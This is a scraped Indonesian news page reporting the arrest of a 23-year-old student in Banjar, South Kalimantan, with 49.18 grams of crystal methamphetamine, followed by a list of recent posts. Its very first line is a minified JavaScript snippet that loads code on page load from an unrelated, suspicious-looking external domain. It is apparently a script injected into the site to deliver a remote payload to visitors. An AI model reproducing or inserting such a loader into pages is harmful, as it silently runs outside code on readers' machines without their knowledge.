(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL BANJAR

Mahasiswa Pengedar Narkoba Ditangkap, Polres Banjar Sita 49 Gram Sabu


KANALKALIMANTAN.COM, MARTAPURA – Seorang mahasiswa asal Kabupaten Banjar ditangkap karena diduga edarkan narkoba golongan I jenis sabu.

RD (23), ditangkap tim Reserse Narkoba Polres Banjar dengan barang bukti empat paket sabu seberat 49,18 gram.

Kapolres Banjar AKBP M Ifan Hariyat melalui Kasat Reserse Narkoba AKP Tatang Supriyadi mengatakan, penangkapan RD dilakukan pada Senin (28/10/2024) siang.

Baca juga: BRI UMKM EXPO (RT) 2025 Bikin UMKM Kamu Naik Kelas, Ini Cara Daftarnya

Anggota Satres Narkoba berhasil menangkap RD di Desa Bawahan Pasar, Kecamatan Mataraman, Kabupaten Banjar.

“RD sebagai mahasiswa ditangkap di sebuah pondok penjaga kandang ayam di Desa Bawahan Pasar Kecamatan Mataraman,” kata AKP Tatang.

Dari tangan tersangka RD, polisi mengamankan barang bukti berupa 1 paket sabu dengan berat bersih 42,32 gram, 3 paket sabu dengan berat bersih 6,86 gram.

Baca juga: Kelurahan Bersinar ke-12 di Banjarbaru, Ini Kata Pjs Wali Kota Nurliani

Turut disita barang bukti satu bundel plastik klip, 1 tas berwarna hitam, 1 timbangan digital, uang tunai sebesar Rp210.000, dan 1 unit ponsel merek ITEL warna hitam.

Saat ini, tersangka RD dan barang bukti telah ditahan di Mapolres Banjar untuk proses hukum lebih lanjut.

Berdasarkan hasil pemeriksaan awal, RD dijerat dengan pasal 114 ayat (2) subsider pasal 112 ayat (2) UU RI Nomor 35 Tahun 2009 tentang narkotika karena tersangka diduga melakukan penjualan, pembelian, dan menjadi perantara dalam transaksi narkoba jenis sabu.

Baca juga: BASAkalimantanWiki ke SMK PGRI Banjarbaru, Ajak Berpartisipasi Masalah Sampah

Kapolres Banjar melalui Kepala Satuan Reserse Narkoba Polres Banjar mengungkapkan bahwa pihaknya akan terus melakukan penyelidikan lebih lanjut terkait jaringan peredaran sabu yang melibatkan tersangka.

Kasus ini menjadi peringatan bagi masyarakat untuk tetap waspada terhadap peredaran Narkoba di lingkungan sekitar.

“Kami berkomitmen untuk memberantas peredaran Narkotika di wilayah Banjar demi menciptakan lingkungan yang lebih aman dan bersih dari penyalahgunaan Narkoba,” pungkasnya. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Muhammad Andi

Recent Posts

‘Rebutan’ “JUARA”, Wartono Loncat ke Bawaslu Kalsel Laporkan Aditya

KANALKALIMANTAN.COM, BANJARBARU - Calon Wali Kota Banjarbaru nomor urut 2 Aditya Mufti Ariffin ajukan keberatan… Read More

56 menit ago

BRI UMKM EXPO(RT) 2025 Bikin UMKM Kamu Naik Kelas, Ini Cara Daftarnya

KANALKALIMANTAN.COM, - Saat ini, jenis Usaha Mikro Kecil Menengah (UMKM) menjadi salah satu tulang punggung… Read More

3 jam ago

BPBD HSU Inisiasi Pembentukan Forum Pengurangan Risiko Bencana

KANALKALIMANTAN.COM, AMUNTAI - Meningkatan partisipasi masyarakat dalam penanggulangan bencana, Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten… Read More

3 jam ago

Kesiapan Tiga Calon Wakil Wali Kota Banjarmasin Hadapi Debat Terbuka

KANALKALIMANTAN.COM, BANJARMASIN - Setelah debat perdana Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More

4 jam ago

Masih Diberi Nyawa, Kesaksian Korban Longsor Pendulangan Intan Pumpung

KANALKALIMANTAN.COM, BANJARBARU - Seorang korban selamat memberikan kesaksian bisa keluar dari tindihan tanah longsor di… Read More

4 jam ago

Kelurahan Bersinar ke-12 di Banjarbaru, Ini Kata Pjs Wali Kota Nurliani

KANALKALIMANTAN.COM, BANJARBARU - Kelurahan Landasan Ulin Timur (LUT) resmi dicanangkan sebagai Kelurahan Bersinar (Bersih Narkoba),… Read More

5 jam ago

This website uses cookies.